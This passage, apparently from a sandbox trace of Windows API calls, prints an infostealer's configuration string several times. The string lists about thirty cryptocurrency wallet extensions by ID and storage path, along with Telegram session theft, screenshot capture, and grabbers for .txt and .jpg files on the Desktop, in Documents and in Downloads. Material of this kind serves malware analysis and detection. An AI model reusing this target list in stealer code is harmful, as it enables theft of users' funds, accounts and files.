Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.184] lstrlenW (lpString="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3217 [0260.184] lstrlenW (lpString="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3217 [0260.184] LocalAlloc (uFlags=0x40, uBytes=0x1922) returned 0x6b9720 [0260.184] lstrlenW (lpString="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3217 [0260.184] LocalAlloc (uFlags=0x40, uBytes=0x1922) returned 0x6bb050 [0260.184] lstrlenW (lpString="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3217 [0260.184] LocalAlloc (uFlags=0x40, uBytes=0x1922) returned 0x6bc980 [0260.184] StrStrW (lpFirst="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.184] lstrlenW (lpString="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension 